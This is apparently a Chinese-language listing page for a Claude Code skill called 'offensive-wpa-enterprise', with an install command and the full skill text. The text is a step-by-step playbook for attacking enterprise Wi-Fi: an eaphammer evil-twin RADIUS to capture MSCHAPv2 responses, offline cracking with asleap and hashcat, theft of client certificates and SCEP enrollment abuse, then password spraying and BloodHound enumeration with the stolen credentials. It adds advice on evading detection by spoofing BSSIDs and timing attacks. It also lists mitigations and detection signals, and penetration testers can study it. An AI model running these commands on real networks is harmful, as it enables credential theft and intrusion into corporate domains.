mcpField
O
offensive-wpa-enterprise

offensive-wpa-enterprise

github.com/snailsploit安全9.7k173 次安装2 周前更新
代码仓库

关于 offensive-wpa-enterprise

面向无线渗透测试人员的 WPA-Enterprise(802.1X / EAP)攻击技能指南,介绍 EAP 识别、配置缺陷评估及凭据捕获路径。内容也涵盖 EAP-TLS 证书相关风险与检测线索。

主要功能

  1. 01识别无线网络的 EAP 方法
  2. 02评估恶意双生 RADIUS 风险
  3. 03捕获并离线破解 MSCHAPv2 响应
  4. 04检查证书与 SCEP 配置风险
  5. 05梳理检测信号及后续验证

适用场景

  1. 01审计企业 Wi-Fi 的证书验证配置
  2. 02在授权测试中评估 PEAP 或 TTLS 网络
  3. 03检查 EAP-TLS 证书存储和签发路径
  4. 04记录凭据攻击的检测线索

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa-enterprise

安装后在 Claude Code 中输入/offensive-wpa-enterprise确认已加载。

详细介绍

WPA-Enterprise(802.1X / EAP)攻击

企业 Wi-Fi 将身份验证委托给 RADIUS 服务器——通常由 AD 提供支持。这里没有 PSK。攻击目标是客户端对服务器证书的信任、内部 EAP 方法的加密,或证书签发流程。

快速工作流

  1. 根据信标和初始 EAP-Request/Identity 识别 EAP 方法
  2. 如果基于 MSCHAPv2(PEAP、TTLS):运行恶意 RADIUS 服务器以捕获质询-响应
  3. 如果是 EAP-TLS:从带外攻击证书签发/证书存储流程
  4. 离线破解捕获的 MSCHAPv2 → 获取 AD 用户名和密码
  5. 转向域内攻击(参见 offensive-active-directory 和 offensive-network)

EAP 方法识别

# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V

# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap
EAP 类型标识符常见内部方法
13EAP-TLS客户端 + 服务器证书
17LEAP(旧版,安全性弱)
21EAP-TTLSMSCHAPv2 / PAP / CHAP / GTC
25PEAPMSCHAPv2(PEAPv0/MS)/ GTC(PEAPv0/Cisco)
43EAP-FASTMSCHAPv2(由 PAC 保护)
47EAP-PWD(Dragonblood 类研究目标)

Evil-Twin RADIUS(PEAP-MSCHAPv2 / TTLS-MSCHAPv2)

针对企业 Wi-Fi 最常见的攻击路径。

# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard                          # generate self-signed cert (first run)
eaphammer -i wlan0 \
  --essid CorpWiFi \
  --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap \
  --creds

客户端关联时,eaphammer 会记录:

[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...

离线破解:

# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt

# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

捕获的响应等同于 NetNTLMv1——将其提交给彩虹表服务(crack.sh),以适中的成本即可保证破解成功。

Evil-Twin 为何有效

MSCHAPv2 内部交换在客户端与(真实或伪造的)RADIUS 服务器之间的 TLS 隧道中加密。如果客户端不验证以下内容:

  • RADIUS 服务器证书的 CA 链(大多数 BYOD 配置都如此)
  • RADIUS 服务器证书的 CN / SAN(即使验证了 CA,通常也不会强制验证)

那么自签名证书就会被接受,客户端会与攻击者建立隧道,并在其中进行 MSCHAPv2 交换。

防御者应采取的缓解措施:

  • 推送要求验证服务器证书的 GPO
  • 明确固定受信任的 CA 和 RADIUS 服务器 CN
  • 对于 BYOD,通过 SCEP/Intune 注册并锁定客户端设置

绕过客户端验证

Windows
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...

查看已部署的无线网络配置文件 XML。关键字段:

<ServerValidation>
  <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
  <ServerNames>radius.corp.local</ServerNames>
  <TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>

如果缺少 ServerNames 或其值为通配符,evil-twin 就会成功。

iOS / macOS / Android(BYOD)

手动输入时,用户通常会在首次看到证书提示时点击“信任”,即使面对的是 evil twin 也一样。之后,客户端会根据哈希信任攻击者证书。许多 BYOD 网络依赖用户接受证书,却不控制信任锚。

EAP-TLS 攻击目标

EAP-TLS 使用客户端证书而非密码——无法从网络流量中破解任何内容。攻击向量:

从用户配置文件窃取证书
  • Windows 上的 DPAPI 主密钥 + 证书 blob
    • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
    • 使用 DPAPI 主密钥解密(需要用户登录上下文或主密钥)
  • macOS Keychain(登录钥匙串)——需要本地用户访问权限
  • Android KeyStore——需要 root + Frida 钩子(参见 offensive-mobile)
  • iOS——具有相应访问组授权的 Keychain 项目
NDES / SCEP 配置错误

如果网络使用 SCEP 进行证书配置:

# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
  -u http://ndes.corp.local/certsrv/mscep/mscep.dll \
  -l client.crt -E 3des -S sha1
具有宽松 ACL 的 AD CS 自动注册

对客户端身份验证模板具有 Enroll 权限的域用户可以签发自己的证书。ESC1 类攻击请参见 offensive-active-directory。

EAP-GTC

如果提供 GTC(较少见,通常出现在 Cisco 环境中),内部交换内容为明文。evil-twin 一旦成功,就能直接捕获密码,无需离线破解。eaphammer 捕获 GTC 的方式与 MSCHAPv2 相同。

破解后的横向转移

破解 MSCHAPv2 后会获得 corp.local\jdoe : Password123!。接下来:

# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local

# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local

# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All

后续交由 AD 攻击链处理(offensive-active-directory、offensive-network)。

检测注意事项

信号防御方视角
恶意 RADIUS 服务的 ESSIDWIPS 规则:通过 ESSID/BSSID 差异检测 AP 冒充
MSCHAPv2 认证反复失败RADIUS 日志:来自单个 supplicant 的认证失败次数增加
证书不匹配导致的失败现代 Windows 终端会将日志记录到事件查看器(Wi-Fi 11005)
用户投诉用户可能会报告“奇怪的 Wi-Fi 提示”——但大多数人不会

为尽量降低风险:让 BSSID 与合法 AP 完全一致(伪造 MAC);如果能获取到 CA 签名证书,就使用与真实 RADIUS CN 相似的证书;选择已知的网络中断时段(午餐时间/一天开始时)发动攻击,以融入正常的重新连接行为。

行动速查表

# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"

# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds

# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response

# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist

# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>

# 6. Hand off to AD chain

主要参考资料

评论

支持 Markdown